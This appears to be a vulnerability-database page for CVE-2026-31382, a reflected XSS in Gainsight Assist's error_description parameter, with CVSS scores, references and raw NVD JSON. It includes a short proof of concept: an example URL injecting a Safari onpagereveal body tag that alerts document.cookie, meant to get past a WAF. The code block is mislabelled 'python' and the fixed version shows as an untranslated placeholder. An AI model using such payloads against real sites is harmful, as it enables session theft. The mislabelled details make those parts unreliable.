CVE-2026-31382

Description

The error_description parameter is vulnerable to Reflected XSS. An attacker can bypass the domain's WAF using a Safari-specific onpagereveal payload.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:gainsight:assist:-:*:*:*:*:*:*:* - VULNERABLE

Gainsight Assist < 修复版本

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-31382 -->
<!-- Targeting Safari browser with onpagereveal event -->
<!-- Vulnerable Parameter: error_description -->

<!-- Example URL -->
<!-- https://target-domain.com/error?error_description=<body onpagereveal=alert(document.cookie)> -->

<script>
  // Simulating the attack vector
  // The payload injects a body tag with the onpagereveal event handler
  var payload = '<body onpagereveal=alert("XSS")>';
  console.log("Payload:", payload);
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31382
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31382
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31382/
[4] VulDB https://vuldb.com/cve/CVE-2026-31382
[5] https://communities.gainsight.com/community-news-2/recent-gainsight-assist-plugin-remediations-cve-2026-31381-and-cve-2026-31382-30587
[6] https://www.rapid7.com/blog/post/ve-cve-2026-31381-cve-2026-31382-gainsight-assist-information-disclosure-xss-fixed/

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31382", "sourceIdentifier": "[email protected]", "published": "2026-03-20T14:16:14.727", "lastModified": "2026-04-16T15:02:38.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The error_description parameter is vulnerable to Reflected XSS. An attacker can bypass the domain's WAF using a Safari-specific onpagereveal payload."}, {"lang": "es", "value": "El parámetro error_description es vulnerable a XSS Reflejado. Un atacante puede eludir el WAF del dominio utilizando un payload onpagereveal específico de Safari."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:L", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gainsight:assist:-:*:*:*:*:*:*:*", "matchCriteriaId": "CEF026DD-1AD7-44D0-8960-A5DDAE4F1BDE"}]}]}], "references": [{"url": "https://communities.gainsight.com/community-news-2/recent-gainsight-assist-plugin-remediations-cve-2026-31381-and-cve-2026-31382-30587", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.rapid7.com/blog/post/ve-cve-2026-31381-cve-2026-31382-gainsight-assist-information-disclosure-xss-fixed/", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}